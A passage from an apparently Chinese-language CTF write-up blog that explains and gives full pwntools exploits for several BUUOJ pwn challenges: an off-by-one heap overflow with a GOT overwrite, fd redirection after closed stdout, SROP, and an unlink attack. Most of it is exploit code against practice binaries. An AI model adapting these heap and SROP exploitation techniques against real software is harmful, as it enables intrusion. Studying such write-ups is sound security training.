class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>思路：利用edit的off by one ，覆写size，然后free掉，再申请，填充payload，将free的got打印出来，覆写free的地址为system的地址，然后delete即可。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">create(<span class="number">0x18</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">create(<span class="number">0x10</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">create(<span class="number">0x10</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">create(<span class="number">0x10</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>+<span class="string">&#x27;\x81&#x27;</span>)</span><br></pre></td></tr></table></figure>

<p>覆写掉第二次的0x10的size位为0x81;</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">create(<span class="number">0x70</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">edit(<span class="number">1</span>, <span class="string">&#x27;a&#x27;</span>*<span class="number">0x40</span> + p64(<span class="number">8</span>) + p64(elf.got[<span class="string">&#x27;free&#x27;</span>]))</span><br><span class="line">show(<span class="number">2</span>)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;Content : &#x27;</span>)</span><br><span class="line">free_add = u64(io.recvuntil(<span class="string">&#x27;Done&#x27;</span>)[:-<span class="number">5</span>].ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br></pre></td></tr></table></figure>

<p>将free的地址打印出来；</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">edit(<span class="number">2</span>,p64(system_add))</span><br></pre></td></tr></table></figure>

<p>这里是将malloc的地址的地址改为system的地址，再之后free的时候就转为执行system.</p>
<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(log_level=<span class="string">&#x27;DEBUG&#x27;</span>)</span><br><span class="line">io=remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">28078</span>)</span><br><span class="line"><span class="comment"># io = process(&quot;heapcreator&quot;)</span></span><br><span class="line">elf=ELF(<span class="string">&#x27;./heapcreator&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create</span>(<span class="params">length,value</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Size of Heap : &quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(<span class="built_in">int</span>(length)))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Content of heap:&quot;</span>)</span><br><span class="line">	io.sendline(value)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">edit</span>(<span class="params">index,value</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;2&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(<span class="built_in">int</span>(index)))</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Content of heap : &quot;</span>)</span><br><span class="line">	io.sendline(value)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">index</span>):</span></span><br><span class="line">	io.recvuntil(<span class="string">&quot;Your choice :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="string">&quot;3&quot;</span>)</span><br><span class="line">	io.recvuntil(<span class="string">&quot;Index :&quot;</span>)</span><br><span class="line">	io.sendline(<span class="built_in">str</span>(<span class="built_in">int</span>(index)))</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delete</span>(<span class="params">index</span>):</span></span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Your choice :&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="string">&#x27;4&#x27;</span>)</span><br><span class="line">    io.recvuntil(<span class="string">&#x27;Index :&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(<span class="built_in">int</span>(index)))</span><br><span class="line">create(<span class="number">0x18</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">create(<span class="number">0x10</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">create(<span class="number">0x10</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">create(<span class="number">0x10</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">&#x27;a&#x27;</span>*<span class="number">0x18</span>+<span class="string">&#x27;\x81&#x27;</span>)</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">create(<span class="number">0x70</span>,<span class="string">&#x27;a&#x27;</span>)</span><br><span class="line">edit(<span class="number">1</span>, <span class="string">&#x27;a&#x27;</span>*<span class="number">0x40</span> + p64(<span class="number">8</span>) + p64(elf.got[<span class="string">&#x27;free&#x27;</span>]))</span><br><span class="line"></span><br><span class="line">show(<span class="number">2</span>)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;Content : &#x27;</span>)</span><br><span class="line">free_add = u64(io.recvuntil(<span class="string">&#x27;Done&#x27;</span>)[:-<span class="number">5</span>].ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">base = free_add - libc.sym[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">system_add = base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"><span class="comment"># gdb.attach(io)</span></span><br><span class="line">edit(<span class="number">2</span>,p64(system_add))</span><br><span class="line">delete(<span class="number">3</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x3D-wustctf2020-closed"><a href="#0x3D-wustctf2020-closed" class="headerlink" title="0x3D.wustctf2020_closed"></a>0x3D.wustctf2020_closed</h1><p>感觉挺有意思的一个题，考的不是pwn的知识，应该是Linux相关的知识</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 <span class="title">vulnerable</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;HaHaHa!\nWhat else can you do???&quot;</span>);</span><br><span class="line">  close(<span class="number">1</span>);</span><br><span class="line">  close(<span class="number">2</span>);</span><br><span class="line">  <span class="keyword">return</span> shell();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这里close了标准输出和标准错误，也就是说，虽然有了shell，但是获得不了输出。</p>
<p>可以通过<code>exec 1&gt;&amp;0</code>来把标准输出重定向到文件描述符0（标准输入），这个文件默认是开启的。这样我们就可以看到输出了。</p>
<blockquote>
<p>  exec有两个作用</p>
<ol>
<li>代替shell执行命令，区别是shell执行完之后会回到shell，而exec会直接退出。</li>
<li>文件重定向，也就是<code>exec 1&gt;&amp;0</code>这样将文件描述符为1的文件重定向到0上</li>
</ol>
</blockquote>
<p>所以，，nc然后exec就OK</p>
<h1 id="0x3E-ciscn-2019-es-7（SROP）"><a href="#0x3E-ciscn-2019-es-7（SROP）" class="headerlink" title="0x3E.ciscn_2019_es_7（SROP）"></a>0x3E.ciscn_2019_es_7（SROP）</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">.text:00000000004004ED ; __unwind &#123;</span><br><span class="line">.text:00000000004004ED                 push    rbp</span><br><span class="line">.text:00000000004004EE                 mov     rbp, rsp</span><br><span class="line">.text:00000000004004F1                 xor     rax, rax</span><br><span class="line">.text:00000000004004F4                 mov     edx, 400h       ; count</span><br><span class="line">.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf</span><br><span class="line">.text:00000000004004FE                 mov     rdi, rax        ; fd</span><br><span class="line">.text:0000000000400501                 syscall                 ; LINUX - sys_read</span><br><span class="line">.text:0000000000400503                 mov     rax, 1</span><br><span class="line">.text:000000000040050A                 mov     edx, 30h ; &#x27;0&#x27;  ; count</span><br><span class="line">.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf</span><br><span class="line">.text:0000000000400514                 mov     rdi, rax        ; fd</span><br><span class="line">.text:0000000000400517                 syscall                 ; LINUX - sys_write</span><br><span class="line">.text:0000000000400519                 retn</span><br><span class="line">.text:0000000000400519 vuln            endp ; sp-analysis failed</span><br></pre></td></tr></table></figure>

<p>其中buf长度是0x10，但是write的时候打印了0x30个字符，可以打印出地址，调试输入的内容与返回地址的偏移</p>
<p>之后栈地址-偏移地道输入的地址</p>
<p>配合srop getshell</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~$ cd Desktop/</span><br><span class="line">[+] Starting local process &#x27;./ciscn_2019_es_7&#x27; argv=[&#x27;./ciscn_2019_es_7&#x27;] : pid 95424</span><br><span class="line">[*] running in new terminal: /usr/bin/gdb -q  &quot;./ciscn_2019_es_7&quot; 95424</span><br><span class="line">[DEBUG] Launching a new terminal: [&#x27;/usr/bin/x-terminal-emulator&#x27;, &#x27;-e&#x27;, &#x27;/usr/bin/gdb -q  &quot;./ciscn_2019_es_7&quot; 95424&#x27;]</span><br><span class="line">[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)</span><br><span class="line">[DEBUG] Sent 0x18 bytes:</span><br><span class="line">    00000000  2f 62 69 6e  2f 73 68 00  00 00 00 00  00 00 00 00  │/bin│/sh·│····│····│</span><br><span class="line">    00000010  ed 04 40 00  00 00 00 00                            │··@·│····│</span><br><span class="line">    00000018</span><br><span class="line">[DEBUG] Received 0x30 bytes:</span><br><span class="line">    00000000  2f 62 69 6e  2f 73 68 00  00 00 00 00  00 00 00 00  │/bin│/sh·│····│····│</span><br><span class="line">    00000010  ed 04 40 00  00 00 00 00  36 05 40 00  00 00 00 00  │··@·│····│6·@·│····│</span><br><span class="line">    00000020  58 c4 e9 87  fc 7f 00 00  00 00 00 00  01 00 00 00  │X···│····│····│····│</span><br><span class="line">    00000030</span><br><span class="line">0x7ffc87e9c458</span><br></pre></td></tr></table></figure>

<p>可以算出binsh与0x7ffc87e9c458的地址差0x118.</p>
<p>额。。要加：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line">context.os   = <span class="string">&#x27;linux&#x27;</span></span><br></pre></td></tr></table></figure>

<p>第一开始没懂，还重装了便系统，。。</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line">context.arch = <span class="string">&#x27;amd64&#x27;</span></span><br><span class="line">context.os   = <span class="string">&#x27;linux&#x27;</span></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&quot;./ciscn_2019_es_7&quot;</span>)</span><br><span class="line"><span class="comment"># pause()</span></span><br><span class="line"><span class="comment"># gdb.attach(io)</span></span><br><span class="line">vuln_addr = <span class="number">0x04004ED</span> </span><br><span class="line">syscall_ret=<span class="number">0x400517</span></span><br><span class="line">sigreturn_addr=<span class="number">0x4004da</span><span class="comment">#__NR_rt_sigreturn</span></span><br><span class="line">system_addr=<span class="number">0x4004E2</span><span class="comment">#execve</span></span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">&quot;/bin/sh\x00&quot;</span>+<span class="string">&quot;\x00&quot;</span>*<span class="number">8</span>+p64(vuln_addr))</span><br><span class="line">io.recv(<span class="number">32</span>)</span><br><span class="line"></span><br><span class="line">stack_leak= u64(io.recv(<span class="number">8</span>))</span><br><span class="line">bin_sh = stack_leak - <span class="number">0x118</span></span><br><span class="line">io.recv()</span><br><span class="line">sigframe = SigreturnFrame() </span><br><span class="line">sigframe.rax = constants.SYS_execve</span><br><span class="line">sigframe.rdi = bin_sh</span><br><span class="line">sigframe.rsi = <span class="number">0x0</span></span><br><span class="line">sigframe.rdx = <span class="number">0x0</span></span><br><span class="line">sigframe.rsp = stack_leak</span><br><span class="line">sigframe.rip = syscall_ret</span><br><span class="line">io.send(<span class="string">&quot;/bin/sh\x00&quot;</span>+p64(<span class="number">0</span>) + p64(sigreturn_addr)+p64(syscall_ret)+<span class="built_in">str</span>(sigframe))</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x3F-hitcon2014-stkof-unlink"><a href="#0x3F-hitcon2014-stkof-unlink" class="headerlink" title="0x3F.hitcon2014_stkof(unlink)"></a>0x3F.hitcon2014_stkof(unlink)</h1><p>setbuf()&#x2F;setvbuf()函数作用：关闭I&#x2F;O缓冲区</p>
<p>一般为了让程序显示正常，会关闭I&#x2F;O缓冲区</p>
<p>但是本题没有关闭缓冲区，<strong>函数运行开始阶段在fgets()函数以及printf()函数运行的时候，会malloc()两块内存区域</strong>。大小都是0x1000</p>
<p>所以申请的第一个chunk会加在输入输出缓冲区之间，后续并没有什么用</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">main</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">char</span> **a2, <span class="keyword">char</span> **a3)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v5; <span class="comment">// [rsp+Ch] [rbp-74h]</span></span><br><span class="line">  <span class="keyword">char</span> nptr[<span class="number">104</span>]; <span class="comment">// [rsp+10h] [rbp-70h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v7; <span class="comment">// [rsp+78h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v7 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">while</span> ( fgets(nptr, <span class="number">10</span>, <span class="built_in">stdin</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    v3 = atoi(nptr);</span><br><span class="line">    <span class="keyword">if</span> ( v3 == <span class="number">2</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      v5 = edit();</span><br><span class="line">      <span class="keyword">goto</span> LABEL_14;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">2</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">3</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v5 = free_0();</span><br><span class="line">        <span class="keyword">goto</span> LABEL_14;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">4</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v5 = sub_400BA9();</span><br><span class="line">        <span class="keyword">goto</span> LABEL_14;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( v3 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      v5 = malloc_0();</span><br><span class="line">      <span class="keyword">goto</span> LABEL_14;</span><br><span class="line">    &#125;</span><br><span class="line">    v5 = <span class="number">-1</span>;</span><br><span class="line">LABEL_14:</span><br><span class="line">    <span class="keyword">if</span> ( v5 )</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;FAIL&quot;</span>);</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;OK&quot;</span>);</span><br><span class="line">    fflush(<span class="built_in">stdout</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>unlink，设指向可 UAF chunk 的指针的地址为 ptr</p>
<ol>
<li>修改 fd 为 ptr - 0x18</li>
<li>修改 bk 为 ptr - 0x10</li>
<li>触发 unlink</li>
</ol>
<p>ptr 处的指针会变为 ptr - 0x18。</p>
<p>使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18</p>
<p>首先：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">alloc(<span class="number">0x1000</span>)<span class="comment">#1</span></span><br><span class="line">alloc(<span class="number">0x30</span>)<span class="comment">#2</span></span><br><span class="line">alloc(<span class="number">0x80</span>)<span class="comment">#3</span></span><br><span class="line">alloc(<span class="number">0x30</span>)<span class="comment">#4</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#后续 unlink 使用</span></span><br><span class="line">target = <span class="number">0x602140</span> + <span class="number">0x10</span></span><br><span class="line">fd = target - <span class="number">0x18</span></span><br><span class="line">bk = target - <span class="number">0x10</span></span><br></pre></td></tr></table></figure>

<p>接下来构造fake chunk，并将下一个的prev_size写为0x30，这样后面free(3)的时候会将2这个chunk合并。之后chunk2就是0x602140这个位置了。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">payload = p64(<span class="number">0</span>) + p64(<span class="number">0x30</span>)</span><br><span class="line">payload += p64(fd) + p64(bk)</span><br><span class="line">payload += <span class="string">&quot;a&quot;</span>*<span class="number">0x10</span></span><br><span class="line">payload += p64(<span class="number">0x30</span>) + p64(<span class="number">0x90</span>)</span><br><span class="line">fill(<span class="number">2</span>,payload)</span><br><span class="line">free(<span class="number">3</span>)</span><br></pre></td></tr></table></figure>

<p>这里是将程序中malloc的地址复写为free_got和puts_got</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">&quot;b&quot;</span>*<span class="number">0x10</span></span><br><span class="line">payload += p64(free_got) + p64(puts_got)</span><br><span class="line">fill(<span class="number">2</span>,payload)</span><br></pre></td></tr></table></figure>

<p>将free_got中写入puts_plt这样free的时候实际执行的是puts函数，打印出puts_addr</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload = p64(puts_plt)</span><br><span class="line">fill(<span class="number">1</span>,payload)</span><br><span class="line">free(<span class="number">2</span>)</span><br></pre></td></tr></table></figure>

<p>再之后就是正常的流程了：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">puts_addr = u64(p.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:]+<span class="string">&#x27;\x00\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">binsh = libc_base + libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span class="built_in">next</span>()</span><br><span class="line"></span><br><span class="line">payload = p64(system)</span><br><span class="line">fill(<span class="number">1</span>,payload)</span><br><span class="line"></span><br><span class="line">fill(<span class="number">4</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">free(<span class="number">4</span>)</span><br></pre></td></tr></table></figure>

<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">p=remote(<span class="string">&quot;node3.buuoj.cn&quot;</span>,<span class="number">28999</span>)</span><br><span class="line"><span class="comment">#p = process(&quot;./stkof&quot;)</span></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">&quot;./stkof&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line"></span><br><span class="line">free_got = elf.got[<span class="string">&#x27;free&#x27;</span>]</span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">alloc</span>(<span class="params">size</span>):</span></span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="number">1</span>))</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(size))</span><br><span class="line">    p.recvuntil(<span class="string">&quot;OK&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fill</span>(<span class="params">idx,content</span>):</span></span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="number">2</span>))</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="built_in">len</span>(content)))</span><br><span class="line">    p.sendline(content)</span><br><span class="line">    p.recvuntil(<span class="string">&quot;OK&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">free</span>(<span class="params">idx</span>):</span></span><br><span class="line">    p.sendline(<span class="built_in">str</span>(<span class="number">3</span>))</span><br><span class="line">    p.sendline(<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line">alloc(<span class="number">0x1000</span>)<span class="comment">#1</span></span><br><span class="line">alloc(<span class="number">0x30</span>)<span class="comment">#2</span></span><br><span class="line">alloc(<span class="number">0x80</span>)<span class="comment">#3</span></span><br><span class="line">alloc(<span class="number">0x30</span>)<span class="comment">#4</span></span><br><span class="line"></span><br><span class="line">target = <span class="number">0x602140</span> + <span class="number">0x10</span></span><br><span class="line">fd = target - <span class="number">0x18</span></span><br><span class="line">bk = target - <span class="number">0x10</span></span><br><span class="line"></span><br><span class="line">payload = p64(<span class="number">0</span>) + p64(<span class="number">0x30</span>)</span><br><span class="line">payload += p64(fd) + p64(bk)</span><br><span class="line">payload += <span class="string">&quot;a&quot;</span>*<span class="number">0x10</span></span><br><span class="line">payload += p64(<span class="number">0x30</span>) + p64(<span class="number">0x90</span>)</span><br><span class="line">fill(<span class="number">2</span>,payload)</span><br><span class="line">free(<span class="number">3</span>)</span><br><span class="line">gdb.attach(p)</span><br><span class="line">payload = <span class="string">&quot;b&quot;</span>*<span class="number">0x10</span></span><br><span class="line">payload += p64(free_got) + p64(puts_got)</span><br><span class="line">fill(<span class="number">2</span>,payload)</span><br><span class="line"><span class="comment"># gdb.attach(p)</span></span><br><span class="line"></span><br><span class="line">payload = p64(puts_plt)</span><br><span class="line">fill(<span class="number">1</span>,payload)</span><br><span class="line">gdb.attach(p)</span><br><span class="line"></span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line"><span class="comment"># gdb.attach(p)</span></span><br><span class="line">puts_addr = u64(p.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:]+<span class="string">&#x27;\x00\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system = libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line">binsh = libc_base + libc.search(<span class="string">&quot;/bin/sh&quot;</span>).<span 